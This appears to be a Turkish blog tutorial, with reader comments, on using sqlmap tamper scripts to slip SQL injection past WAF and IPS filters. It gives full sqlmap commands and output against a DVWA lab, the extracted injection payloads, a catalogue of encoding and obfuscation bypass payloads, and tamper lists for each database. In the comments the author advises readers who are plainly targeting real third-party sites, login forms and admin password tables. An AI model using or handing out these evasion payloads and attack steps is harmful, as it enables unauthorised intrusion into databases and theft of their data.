SQL Injection saldırılarında çeşitli bypass (atlatma) yöntemleri kullanırız, örneğin;
büyük küçük harf karmaşası, komutların çeşitli algoritmalarla encode edilmesi gibi...
SQLmap'in WAF, IPS gibi saldırı engelleme sistemlerini bypass etmesi için "tamper script" özelliği bulunmaktadır.
Aşağıda WAF kullanan bir sisteme SQLmap'in varsayılan kullanım parametresi verilmiştir ve sonuç alınamamıştır:
root@bt: sqlmap -u "http://1.2.3.4/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=medium; PHPSESSID=de9fd298875093226427e5475c47b5eb" --dbs
sqlmap - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 15:39:43
[15:39:43] [INFO] testing connection to the target url
[15:39:43] [INFO] heuristics detected web page charset 'ascii'
[15:39:43] [WARNING] reflective value(s) found and filtering out
[15:39:43] [INFO] heuristic (parsing) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[15:39:43] [INFO] testing for SQL injection on GET parameter 'id'
[15:39:43] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[15:39:43] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:44] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:45] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:46] [CRITICAL] unable to connect to the target url or proxy
[15:39:46] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:47] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
[15:39:48] [CRITICAL] unable to connect to the target url or proxy. sqlmap is going to retry the request
Görüldüğü gibi hedef sistemde UNION komutu geçtiğinde istekleri engelleyen bir yapı bulunmaktadır..
Şimdi ise bir de SQLmap'i --tamper fonksiyonuyla birlikte kullanalım:
root@pentest: sqlmap -u "http://1.2.3.4/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=medium; PHPSESSID=de9fd298875093226427e5475c47b5eb" --tamper "randomcase" --dbs
[*] starting at 16:16:24
[16:16:24] [INFO] loading tamper script 'randomcase'
[16:16:24] [INFO] testing connection to the target url
[16:16:25] [INFO] testing if the url is stable, wait a few seconds
[16:16:26] [INFO] url is stable
[16:16:26] [INFO] testing if GET parameter 'id' is dynamic
[16:16:26] [WARNING] GET parameter 'id' appears to be not dynamic
[16:16:26] [INFO] heuristics detected web page charset 'ascii'
[16:16:26] [WARNING] reflective value(s) found and filtering out
[16:16:26] [INFO] heuristic test shows that GET parameter 'id' might be injectable (possible DBMS: MySQL)
[16:16:26] [INFO] testing for SQL injection on GET parameter 'id'
[16:16:26] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:16:26] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string='Surname: admin')
[16:16:26] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[16:16:26] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
[16:16:26] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[16:16:26] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..
[16:16:27] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[16:16:37] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable
[16:16:37] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[16:16:37] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other injection technique found
[16:16:37] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[16:16:37] [INFO] target url appears to have 2 columns in query
[16:16:37] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 19 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 3106=3106&Submit=Submit
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=1 AND (SELECT 2385 FROM(SELECT COUNT(*),CONCAT(0x3a72796b3a,(SELECT (CASE WHEN (2385=2385) THEN 1 ELSE 0 END)),0x3a6b6e693a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&Submit=Submit
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: id=1 LIMIT 1,1 UNION ALL SELECT CONCAT(0x3a72796b3a,0x4f676a51626745675562,0x3a6b6e693a), NULL#&Submit=Submit
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=1 AND SLEEP(5)&Submit=Submit
---
[16:16:41] [INFO] changes made by tampering scripts are not included in shown payload content(s)
[16:16:41] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.2.6, Apache 2.2.8
back-end DBMS: MySQL 5.0
[16:16:41] [INFO] fetching database names
available databases [5]:
[*] dvwa
[*] information_schema
[*] mysql
[*] phpmyadmin
[*] test
[16:16:41] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/192.168.1.127'
[*] shutting down at 16:16:41
Görüldüğü gibi hedef sistemdeki koruyucu mekanizma atlatılmış oldu..
SQLmap'in yüklü olduğu dizinde "tamper" isimli klasörde çeşitli bypass script'leri bulunmaktadır. Biz yukarıdaki testte "tamper" klasörünün içinde "randomcase" script'inden faydalandık. Bu script'in görevi, UNION gibi Sql komutlarını rastgele büyük-küçük harf şeklinde düzenleyerek karşı sisteme yollar ve WAF var ise bypass edilmeye çalışılır.
Aşağıda tamper klasöründe bulunan diğer bypass script'lerinin isimleri, bypass yöntemleri ve hangi veritabanı platformlarında işlevi olduğunu paylaştım:
apostrophemask.py (UTF-8)
Örnek:
* Orijinal Komut: AND '1'='1'
* Bypass Komutu: AND %EF%BC%871%EF%BC%87=%EF%BC%871%EF%BC%87
apostrophenullencode.py (unicode)
Örnek:
* Orijinal Komut: AND '1'='1'
* Bypass Komutu: AND %271%27=%271%27
appendnullbyte.py ()
Örnek:
* Orijinal Komut: AND 1=1
* Bypass Komutu: AND 1=1
Platform:
* Microsoft Access
base64encode.py (base64)
Örnek:
* Orijinal Komut: 1' AND SLEEP(5)#
* Bypass Komutu: MScgQU5EIFNMRUVQKDUpIw==
between.py (“not between” “>”)
Örnek:
* Orijinal Komut: 'A > B'
* Bypass Komutu: 'A NOT BETWEEN 0 AND B'
bluecoat.py (“like” “=”)
Örnek:
* Orijinal Komut: SELECT id FROM users where id = 1
* Bypass Komutu: SELECT%09id FROM users where id LIKE 1
Platform:
* MySQL 5.1, SGOS
chardoubleencode.py
Örnek:
* Orijinal Komut: SELECT FIELD FROM%20TABLE
* Bypass Komutu: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
charencode.py
Örnek:
* Orijinal Komut: SELECT FIELD FROM%20TABLE
* Bypass Komutu: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
charunicodeencode.py
Örnek:
* Orijinal Komut: SELECT FIELD%20FROM TABLE
* Bypass Komutu: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045'
Platform:
* ASP
* ASP.NET
equaltolike.py (“like” “=”)
Örnek:
* Orijinal Komut: SELECT * FROM users WHERE id=1
* Bypass Komutu: SELECT * FROM users WHERE id LIKE 1
halfversionedmorekeywords.py
Örnek:
* Orijinal Komut: value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa
* Bypass Komutu: value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND 'QDWa'='QDWa
Platform:
* MySQL < 5.1
ifnull2ifisnull.py (“IF(ISNULL(A), B, A)” “IFNULL(A, B)”)
Örnek:
* Orijinal Komut: IFNULL(1, 2)
* Bypass Komutu: IF(ISNULL(1), 2, 1)
Platform:
* MySQL
* SQLite (possibly)
* SAP MaxDB (possibly)
modsecurityversioned.py
Örnek:
* Orijinal Komut: 1 AND 2>1--
* Bypass Komutu: 1 /*!30000AND 2>1*/--
Platform:
* MySQL
modsecurityzeroversioned.py (“0000”)
Örnek:
* Orijinal Komut: 1 AND 2>1--
* Bypass Komutu: 1 /*!00000AND 2>1*/--
Platform:
* MySQL
multiplespaces.py
Örnek:
* Orijinal Komut: UNION SELECT
* Bypass Komutu: UNION SELECT
nonrecursivereplacement.py
Örnek:
* Orijinal Komut: 1 UNION SELECT 2--
* Bypass Komutu: 1 UNUNIONION SELSELECTECT 2--
percentage.py (“%”)
Örnek:
* Orijinal Komut: SELECT FIELD FROM TABLE
* Bypass Komutu: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
Platform:
* ASP
randomcase.py
Örnek:
* Orijinal Komut: INSERT
* Bypass Komutu: InsERt
randomcomments.py
Örnek:
'INSERT' becomes 'IN/**/S/**/ERT'
securesphere.py
Örnek:
* Orijinal Komut: AND 1=1
* Bypass Komutu: AND 1=1 and '0having'='0having'
sp_password.py (“sp_password”)
Örnek:
* Orijinal Komut: 1 AND 9227=9227--
* Bypass Komutu: 1 AND 9227=9227--sp_password
Platform:
* MSSQL
space2comment.py
Örnek:
* Orijinal Komut: SELECT id FROM users
* Bypass Komutu: SELECT/**/id/**/FROM/**/users
space2dash.py (“--”)
Örnek:
* Orijinal Komut: 1 AND 9227=9227
* Bypass Komutu: 1--PTTmJopxdWJ%0AAND--cWfcVRPV%0A9227=9227
Platform:
* MSSQL
* SQLite
space2hash.py
Örnek:
* Orijinal Komut: 1 AND 9227=9227
* Bypass Komutu: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Platform:
* MySQL
space2morehash.py
Platform:
* MySQL >= 5.1.13
space2mssqlblank.py
Örnek:
* Orijinal Komut: SELECT id FROM users
* Bypass Komutu: SELECT%08id%02FROM%0Fusers
Platform:
* Microsoft SQL Server
space2mssqlhash.py
Örnek:
* Orijinal Komut: 1 AND 9227=9227
* Bypass Komutu: 1%23%0A9227=9227
Platform:
* MSSQL
* MySQL
space2mysqlblank.py
Örnek:
* Orijinal Komut: SELECT id FROM users
* Bypass Komutu: SELECT%0Bid%0BFROM%A0users
Platform:
* MySQL
space2mysqldash.py
Örnek:
* Orijinal Komut: 1 AND 9227=9227
* Bypass Komutu: 1--%0AAND--%0A9227=9227
Platform:
* MySQL
* MSSQL
space2plus.py (“+”)
Örnek:
* Orijinal Komut: SELECT id FROM users
* Bypass Komutu: SELECT+id+FROM+users
space2randomblank.py
Örnek:
* Orijinal Komut: SELECT id FROM users
* Bypass Komutu: SELECTridtFROMnusers
unionalltounion.py (“union all” “union”)
Örnek:
* Orijinal Komut: -1 UNION ALL SELECT
* Bypass Komutu: -1 UNION SELECT
unmagicquotes.py (“%bf%27” “--”)
Örnek:
* Orijinal Komut: 1' AND 1=1
* Bypass Komutu: 1%bf%27 AND 1=1--%20
versionedkeywords.py
Örnek:
* Orijinal Komut: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
* Bypass Komutu: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
Platform:
* MySQL
versionedmorekeywords.py
Örnek:
* Orijinal Komut: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
* Bypass Komutu: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
Platform:
* MySQL >= 5.1.13
Genel olarak kullanabileceğiniz tamper listesi:
apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,percentage,randomcase,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes
MSSQL için kullanabileceğiniz tamper listesi:
between,charencode,charunicodeencode,greatest,multiplespaces,percentage,randomcase,sp_password,space2comment,space2dash,space2mssqlblank,space2plus,space2randomblank,unionalltounion,unmagicquotes
MYSQL için kullanabileceğiniz tamper listesi:
between,bluecoat,charencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,randomcase,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor
teşekkürler :)
YanıtlaSilben kendimde birşeyler geliştirmiştim vakti zamanında
http://pastebin.com/MdfjAjFH
Rica ederim, ayrıca tebrikler güzel script :)
Sil--cookie "security=medium; PHPSESSID=de9fd298875093226427e5475c47b5eb" bunu nasıl buluyoruz acemiyim birazda yardımcı olursanız çok sevinirim
YanıtlaSilÖrneğin; sqli saldırısı yapmak istediğin hedef web sitenin injectiona uğrayan kısmı üyelik gerektiren bir bölüm ise ve üyelik varsa siteye login olunup cookie'ni Sqlmap'e --cookie parametresini kullanarak işleyebilirsin. Böylelikle Sqlmap'te üyelik gerektiren yerlere erişebilmiş olur.
SilBu arada cookie nasıl öğrenilir dersen? Chrome kullanıyorsan EditThisCookie eklentisiyle, Firefox kullanıyorsan da Cookie Editor eklentisiyle ulaşabilirsin cookie bilgilerine..
Çok teşekkürler güzel yöntemler öğrendim sayenizde.Ancak sürekli kafama takılan bi sıkıntım var
YanıtlaSilindex.php?git=kat&id=4 Örneğin burdaki id değerindeki sql injection açığından faydalanmak istediğimde git değerinii id olarak algılıyor ve ordan çekmeye çalışıyor e haliyle de çekemiyor.id değerini belirtmek için -p ve --skip parametreleri var ancak nasıl kullanıcağımı tam olarak çözemedim yardımcı olursanız sevinirim.
Merhaba,
SilRica ederim. Sqlmap'in "skip parameter" özelliğiyle istediğiniz GET parametresini pass geçtirebilirsiniz. Böylelikle "git=kat" parametresini atlayarak id=4 parametresine injection testi yapılacaktır. Örnek kullanım:
sqlmap -u "http://site.com/index.php?git=kat&id=4" --skip git --dbs
Ayrıca Sqlmap'in -p parametresini kullanarak istenilen parametreye injection testi yaptırmakta mümkündür, örnek kullanım:
sqlmap -u "http://site.com/index.php?git=kat&id=4" -p id --dbs
Peki sadece --dbs yerine --tamper "tamper/randomcase.py" --dbs her site için tamper gerektirmeyen siteler içinde kullansak daha iyi değil mi?
YanıtlaSilEvet kullanılabilir, ama output'a göre tamper scripti seçilmelidir yani biraz işin içine deneme-yanılma giriyor.
Silöncelikle yazınızı okudum çok açıklayıcı bir makale yazmışsınız türkçe kaynaklar içerisinde ender bulunabiliecek bir makale fakat benim bir sorum olucak size bazı taramalarda bu şekilde uyarı veriyor burda verilen '--level'/'--risk' tam olarak nedir ve nasıl kullanırık bunu açıklayabilirseniz çok memnun olurum
YanıtlaSil(all tested parameters appear to be not injectable. Try to
increase '--level'/'--risk' values to perform more tests. Also, you can try to r
erun by providing either a valid value for option '--string' (or '--regexp') If
you suspect that there is some kind of protection mechanism involved (e.g. WAF)
maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'))
Teşekkür ederim
Merhaba,
SilTeşekkür ederim, yararlı olduysa ne mutlu bana. Sorularınızı yanıtlayayım;
--risk Parametresi:
3 adet risk seviyesi vardır. "1" olan varsayılandır bunu yazmasanda olur.
"2" time-based sql injection saldırısı uygular.
"3" or-based sql injection saldırısı uygular.
--level Parametresi:
Varsayılanı "1"dir.
--level 2: HTTP Cookie'ye Sql Injection uygular.
--level 3: HTTP User-Agent'a ve HTTP Referer'e başlıklarına Sql Injection uygular.
--level 5: Tüm HTTP başlıklarına Sql Injection uygular.
--level 3 veya yukarıda ayarlı ise de HTTP Referer başlığı SQL enjeksiyon karşı test edilir unutmayın. Ayrıntılar için aşağıya okuyun.
--string Parametresi:
Sqlmap'e bir site tarattığında --string parametresini kullanabilirsin uyarısını alıyorsan; Örnek site.com/index.php?id=1 sitesi için id= sonuna tırnak (') karakterinden sonra sayfada değişen bir string ifadeyi Sqlmap'e verdiğinde onu dikkata alarak işlem yapacaktır.
hocam kolay gelsin bir şey sormak istiyorum login kısmındaki post işlemleri için yapmamız gereken tam olarak nedir.
YanıtlaSilsqlmap.py -u "http://www.siteadi.co.uk/index.asp" --data="txtPassword" --dbs bu şekilde yapınca
[CRITICAL] no parameter(s) found for testing in the provided data (e.
g. GET parameter 'id' in 'www.site.com/index.php?id=1')
erkana bu hatayı basıyor bana
açık nerede burada txtpassword datasındamı anlamsız olmuş biraz sqlmap önermen?
SilGüzel bir makale olmuş ellerinize sağlık yalnız diyelim tabloları ve kolonları çekiyoruz(ms-sql)fakat tabloların içindeki veriler gelmiyor bunu nasıl aşılabilir. sizce :D
YanıtlaSilsqlmap -u http://www.site.co.uk/index.php?id=1 --tamper --dbs bu şekil mi ? yoksa farklımı kullanılmalı ? cunkü hata almaktayım
YanıtlaSilCRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request
Peki hocam arama kısımlarında sql injection varsa napmalıyız ?
YanıtlaSilÖncelikle, hedef web uygulamasındaki arama fonksiyonunun GET mi yoksa POST ile mi kontrol edildiğini çözmek gerek.
SilEğer GET ile kontrol yapılıyorsa:
sqlmap -u "-u http://hedef.com/index.php?search=KELIME" şeklinde komut verilmelidir.
Eğer POST ile kontrol yapılıyorsa:
sqlmap -u "-u http://hedef.com/arama.php" --data="search=KELIME&value=submit" şeklinde komut verilebilir.
Hocam benim sorum yok. Sadece size teşekkür etmek istiyorum. Sizin makalelerden çok yorumlara verdiğiniz cevaplar bile altın değerinde. Milletin ceh diye verdiği eğitimi sizin yorumlarda bulamazlar. Allah razı olsun. Başarılarınızın devamını dilerim.
YanıtlaSilHocam bu tamperlar bende yok kodu yazdıktan sonra ''tamper script 'tamper/unmagicquotes.py' does not exist'' bu hatayı veriyor nasıl indiririz ?
YanıtlaSilEğer Kali Linux kullanıyorsanız örnek kullanımı şu şekilde değişmektedir:
Sil# sqlmap -u "http//site.com/index.php?id=123" --tamper "unmagicquotes" --dbs
Teşekkür ederim abi çok güzel yöntemler paylaşmışsın eline sağlık abi.
YanıtlaSilWindows sqlmap'ta şu hatayı nasıl geçebilirim abi?
[12:48:56] [CRITICAL] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment')
öncelikle merhaba hocam siz olmasaydınız en ufak zorladığımı yerde pes ederdim şuan kalilinux kullanıyorum öğrenmek için herşeyi de yapıyorum sizin gibi hocalarım olduğuiçin çok mutluyum sizin ile iletişime nasıl geçebilirim
YanıtlaSilHocam merhaba öncelikle çok teşekkürler çok işime yaradı fakat şöyle bir sorum olucak bazı sitelerde admin,pass çekerken null veya blank yazıyor ve şifre felan gözükmüyor onu nasıl bypass edebilirim çok teşekkürler
YanıtlaSilPekiya Tamper'ı neye göre seçeceğiz ? :)
YanıtlaSilHocam benim sorum daha farklı olacak, githubtaki tamper scriptleri nasıl kullanabiliriz, ya da nasıl sqlmape yükleyebiliriz ?
YanıtlaSilMerhaba, tabi kullanabilirsiniz.
SilEğer script, Sqlmap'in tanıyıp kullanabileceği bir şekilde kodlanmışsa /usr/share/sqlmap/tamper/ dizininin altına kopyalayıp makalede bahsettiğim şekilde kullanabilirsiniz.
hocam merhabalar öncelikle makaleniz için sonsuz teşekkür ederim benim sorum su sekılde sql açıgı id degerınde degil şu sekılde http//siteadı.com/iletisim/
YanıtlaSilhttp//siteadı.com/iletisim/'a yapınca sql hatası veriyor hangi parametreleri kullanmalıyım teşekkür ederim
Merhaba Berk Bey,
SilRica ederim. -u parametresiyle hedef linki verirken bu şekilde kullanmalısınız: sqlmap -u "http//siteadı.com/iletisim/*" şeklinde.
Bu yorum yazar tarafından silindi.
YanıtlaSilhocam yardımlarınız için minnetarım SQLMAP'in boşluk karakterini bypass etmek için hangi tamperı kullanmalıyım ve level risk degerlerini neye göre vermeliyim
YanıtlaSilBerk Bey,
SilHedef sistem mysql ise makalede bahsettiğim mysql tamper scriptlerini, mssql ise onun için olan tamper scriptlerini aynı anda kullanabilirsiniz. Yani birden fazla tamper script kullanabilirsiniz.
Hocam iyi günler gerçekten başarılı bir çalışma. işimize çok yarıyor fakat takıldığımız bazı noktalar var. Backtrack kullanıyoruz
YanıtlaSilsenaryolarımız şu şekilde
sqlmap -u http://siteadi.com/hakkımızda/* -p hakkımızda/ --level=5 --risk=3 --tamper unmagicquotes,space2randomblank,space2plus,space2mssqlhash,space2hash,space2comment,randomcase waf 360,airlock,aws,uspses --dbs
[14:11:19] [WARNING] information_schema not available, back-end DBMS is MySQL < 5. database names will be fetched from 'mysql' database
[14:11:19] [INFO] fetching number of databases
[14:11:19] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[14:11:19] [INFO] retrieved:
[14:11:19] [WARNING] unexpected HTTP code '404' detected. Will use (extra) validation step in similar cases
[14:11:21] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[14:11:21] [ERROR] unable to retrieve the number of databases
[14:11:21] [INFO] falling back to current database
[14:11:21] [INFO] fetching current database
[14:11:21] [INFO] retrieved:
başka sistemler de "retrieved:" burda a,b,c gibi sırası ile deneyip bulurdu fakat
[14:02:05] [CRITICAL] unable to retrieve the database names
bu hatayı alıyoruz. Hangi parametreleri önerirsiniz? Şimdiden teşekkür ederim. İyi günler
Hocam son bir sorum daha olacak ilgilendiginiz için teşekkür ederim veritabanını çektigimde tek bir veritabanı o da şu sekılde geldi ????????????????????????????????????? bu nedir ne yapmalıyım
YanıtlaSil('videoID=-1 OR 17-7%3d10') bu şekilde bir outputum var --level=5 --risk=3 --tamper=between,randomcase yaptım ama giremedim başka ne önerirsiniz ? teşekkürler
YanıtlaSilhocam merhaba ('videoID=-1 OR 17-7%3d10') böyle bir outputum var. verdiğim parametreler; level=5, risk=3, tamper=between,randomcase yaptım ama sonuç alamadım ne önerirsiniz ? teşekkürler
YanıtlaSilcookie belirme dediğiniz noluyor onu anlamdım sadece ? belirtlicek şeyi nerden buluyoıruz ?
YanıtlaSilHocam merhaba. Emiğinize saygı duyyorum ve teşekkür ediyorum.
YanıtlaSilBenim sorum şu: kullanıcı adı ve şifre giriş ekranına injection yapmak istiyorum fakat sistem captcha kullanıyor. Bu durumda nasıl bir parametre kullanmalıyız? Sanırım tüm captcha ları kendisi girmiyordur?